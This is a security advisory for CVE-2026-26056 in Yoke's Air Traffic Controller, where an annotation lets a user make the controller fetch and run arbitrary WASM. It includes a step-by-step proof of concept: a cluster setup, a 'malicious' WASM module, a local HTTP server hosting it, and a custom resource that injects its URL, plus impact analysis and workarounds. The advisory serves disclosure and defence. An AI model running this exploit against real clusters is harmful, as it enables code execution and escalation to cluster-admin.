Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC in github.com/yokecd/yoke

Open Source Vulnerabilities CVE-2026-26056

Yoke is a Helm-inspired infrastructure-as-code (IaC) package deployer. In 0.19.0 and earlier, a vulnerability exists in the Air Traffic Controller (ATC) component of Yoke. It allows users with CR create/update permissions to execute arbitrary WASM code in the ATC controller context by injecting a malicious URL through the overrides.yoke.cd/flight annotation. The ATC controller downloads and executes the WASM module without proper URL validation, enabling attackers to create arbitrary Kubernetes resources or potentially escalate privileges to cluster-admin level.

Open Source Vulnerabilities GO-2026-4493

Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC in github.com/yokecd/yoke

Open Source Vulnerabilities GHSA-wj8p-jj64-h7ff

# Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC This vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. It allows users with CR create/update permissions to execute arbitrary WASM code in the ATC controller context by injecting a malicious URL through the `overrides.yoke.cd/flight` annotation. The ATC controller downloads and executes the WASM module without proper URL validation, enabling attackers to create arbitrary Kubernetes resources or potentially escalate privileges to cluster-admin level. **Recommended CWE**: CWE-94 (Improper Control of Generation of Code - Code Injection) ## Summary Yoke ATC allows users to override the Flight WASM module URL via the `overrides.yoke.cd/flight` annotation on Custom Resources. The controller only checks if the user has `update` permission on `airways` resources but does not validate the WASM URL source. An attacker with CR create/update permissions can inject a malicious WASM URL, causing the ATC controller to download and execute arbitrary code. ## Details The vulnerability exists in two code paths: **Source Point - Annotation Definition** (`pkg/flight/flight.go:41-42`): ```go const ( AnnotationOverrideFlight = "overrides.yoke.cd/flight" AnnotationOverrideMode = "overrides.yoke.cd/mode" ) ``` **Sink Point 1 - Admission Webhook** (`cmd/atc/handler.go:298-300`): ```go if overrideURL, _, _ := unstructured.NestedString(cr.Object, "metadata", "annotations", flight.AnnotationOverrideFlight); overrideURL != "" { xhttp.AddRequestAttrs(r.Context(), slog.Group("overrides", "flight", overrideURL)) takeoffParams.Flight.Path = overrideURL // User-provided URL used directly } ``` **Sink Point 2 - Reconciler** (`internal/atc/reconciler_instance.go:264-269`): ```go if overrideURL, _, _ := unstructured.NestedString(resource.Object, "metadata", "annotations", flight.AnnotationOverrideFlight); overrideURL != "" { ctrl.Logger(ctx).Warn("using override module", "url", overrideURL) // Simply set the override URL as the flight path and let yoke load and execute the wasm module takeoffParams.Flight.Path = overrideURL // User-provided URL used directly without validation } ``` The permission check at `cmd/atc/handler.go:160-177` only verifies `update` permission on `airways` resources, not the ability to execute arbitrary WASM code: ```go accessReview, err := params.Client.Clientset.AuthorizationV1().SubjectAccessReviews().Create( r.Context(), &authorizationv1.SubjectAccessReview{ Spec: authorizationv1.SubjectAccessReviewSpec{ ResourceAttributes: &authorizationv1.ResourceAttributes{ Verb: "update", Group: "yoke.cd", Version: "v1alpha1", Resource: "airways", // Only checks airway update permission }, }, }, ) ``` ## PoC ### Environment Setup **Prerequisites**: - Docker installed and running - kubectl installed - Go 1.21+ installed - kind installed **Step 1: Create Kind cluster** ```bash cat > /tmp/kind-config.yaml << 'EOF' kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 name: yoke-vuln-test nodes: - role: control-plane EOF kind create cluster --config /tmp/kind-config.yaml ``` **Step 2: Build and install Yoke CLI** ```bash # Clone yoke repository git clone https://github.com/yokecd/yoke.git cd yoke # Build yoke CLI (patch version if needed for compatibility) GOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke # Verify installation /tmp/yoke version ``` Expected output: ``` ╭───────────────────────────────┬──────────╮ │ yoke │ v0.18.0 │ │ toolchain │ go1.25.6 │ │ k8s.io/client-go │ v0.34.1 │ │ github.com/tetratelabs/wazero │ v1.6.0 │ ╰───────────────────────────────┴──────────╯ ``` **Step 3: Deploy ATC** ```bash /tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest ``` Expected output: ``` Cluster-access not granted: enable cluster-access to reuse existing TLS certificates. Generating TLS certificates, this may take a second... Finished generating TLS certificates. --- successful takeoff of atc ``` **Step 4: Verify ATC deployment and permissions** ```bash kubectl get pods -n atc kubectl get clusterrolebinding | grep atc ``` Expected output: ``` NAME READY STATUS RESTARTS AGE atc-atc-6d4bcb7665-wvqkt 1/1 Running 0 22s atc-atc-cluster-role-binding ClusterRole/cluster-admin 22s ``` **Step 5: Deploy Backend Airway example** ```bash /tmp/yoke takeoff -wait 60s backendairway "https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz" ``` Expected output: ``` successful takeoff of backendairway ``` ### Exploitation Steps **Step 1: Create malicious WASM module** Create `malicious-wasm.go`: ```go // Malicious WASM module for VUL-001 vulnerability verification package main import ( "encoding/json" "fmt" ) func main() { // Create a ConfigMap to prove arbitrary code execution resource := map[string]interface{}{ "apiVersion": "v1", "kind": "ConfigMap", "metadata": map[string]interface{}{ "name": "stolen-credentials", "namespace": "default", "labels": map[string]string{ "vulnerability": "VUL-001", "type": "exfiltrated-token", }, }, "data": map[string]string{ "vulnerability": "VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution", "proof": "This ConfigMap was created by malicious WASM code", }, } resources := []interface{}{resource} output, _ := json.Marshal(resources) fmt.Println(string(output)) } ``` Compile to WASM: ```bash GOOS=wasip1 GOARCH=wasm go build -o malicious.wasm ./malicious-wasm.go ``` **Step 2: Host malicious WASM** ```bash python3 -m http.server 8888 & ``` **Step 3: Get host IP accessible from Kind cluster** ```bash HOST_IP=$(ip addr show docker0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1) echo "Malicious WASM URL: http://${HOST_IP}:8888/malicious.wasm" ``` **Step 4: Create malicious Backend CR** ```bash MALICIOUS_URL="http://${HOST_IP}:8888/malicious.wasm" kubectl apply -f - <<EOF apiVersion: examples.com/v1 kind: Backend metadata: name: malicious-backend namespace: default annotations: overrides.yoke.cd/flight: "${MALICIOUS_URL}" spec: image: nginx:latest replicas: 1 EOF ``` Expected output: ``` backend.examples.com/malicious-backend created ``` **Step 5: Verify exploitation** Check ATC logs: ```bash kubectl logs -n atc deployment/atc-atc | grep -i "override\|malicious" ``` Actual log output from verification: ```json {"time":"2026-02-01T13:58:30.4998068Z","level":"INFO","msg":"request served","component":"server","code":200,"method":"POST","path":"/validations/backends.examples.com","elapsed":"375ms","overrides":{"flight":"http://172.17.0.1:8888/malicious.wasm"},"validation":{"allowed":true,"status":""}} {"time":"2026-02-01T13:56:33.826710613Z","level":"WARN","msg":"using override module","component":"controller","url":"http://172.17.0.1:8888/malicious.wasm"} ``` Check HTTP server logs (shows WASM download): ``` 172.18.0.2 - - [01/Feb/2026 21:55:58] "GET /malicious.wasm HTTP/1.1" 200 - 172.18.0.2 - - [01/Feb/2026 21:56:32] "GET /malicious.wasm HTTP/1.1" 200 - 172.18.0.2 - - [01/Feb/2026 21:56:33] "GET /malicious.wasm HTTP/1.1" 200 - ``` Check created ConfigMap: ```bash kubectl get configmap stolen-credentials -n default -o yaml ``` Actual output from verification: ```yaml apiVersion: v1 kind: ConfigMap metadata: name: stolen-credentials namespace: default labels: vulnerability: VUL-001 type: exfiltrated-token app.kubernetes.io/managed-by: atc.yoke instance.atc.yoke.cd/name: malicious-backend-v2 data: vulnerability: 'VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution' ``` ### Expected Result The malicious WASM module is downloaded and executed by the ATC controller, creating a ConfigMap named `stolen-credentials` in the cluster. This proves arbitrary code execution in the ATC controller context. ## Impact **Vulnerability Type**: Remote Code Execution (RCE) / Code Injection **Attack Prerequisites**: - Attacker has permission to create/update Custom Resources managed by Yoke ATC - Network access to host malicious WASM (can be external URL) **Impact Assessment**: - **Confidentiality**: High - Attacker can create resources to exfiltrate data; if ClusterAccess is enabled, can read cluster secrets via host functions - **Integrity**: High - Attacker can create/modify arbitrary Kubernetes resources through WASM output - **Availability**: Medium - Attacker can disrupt cluster operations by creating malicious resources **Attack Scenario**: 1. CI/CD developer or application developer with CR permissions creates a Backend CR with malicious annotation 2. ATC controller downloads and executes attacker-controlled WASM 3. Malicious WASM creates backdoor resources or exfiltrates sensitive data 4. If ClusterAccess is enabled, attacker can read secrets and escalate to cluster-admin ## Severity **CVSS v3.1 Score**: 8.8 (High) **Vector**: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Attack Vector (AV): Network - Malicious WASM can be hosted externally - Attack Complexity (AC): Low - Simple annotation injection - Privileges Required (PR): Low - Only CR create/update permission needed - User Interaction (UI): None - Automatic execution on CR creation - Scope (S): Unchanged - Impact within ATC controller context - Confidentiality (C): High - Can access controller context data - Integrity (I): High - Can create arbitrary resources - Availability (A): High - Can disrupt cluster operations ## Affected Versions - Yoke ATC v0.18.x and earlier versions - All versions that support the `overrides.yoke.cd/flight` annotation ## Patched Versions No patch available at time of disclosure. ## Workarounds 1. **Disable annotation override feature**: Remove or disable the `overrides.yoke.cd/flight` annotation processing in production environments 2. **Network policy**: Restrict ATC controller's outbound network access to prevent downloading external WASM modules 3. **RBAC hardening**: Limit CR create/update permissions to trusted users only 4. **Admission webhook**: Deploy a validating webhook to reject CRs with `overrides.yoke.cd/flight` annotations ## References - Yoke Project: https://github.com/yokecd/yoke - Yoke ATC Documentation: https://yokecd.github.io/docs/airtrafficcontroller/atc/ - CWE-94: Improper Control of Generation of Code: https://cwe.mitre.org/data/definitions/94.html ## Credits credit for: @b0b0haha ([email protected]) @lixingquzhi ([email protected])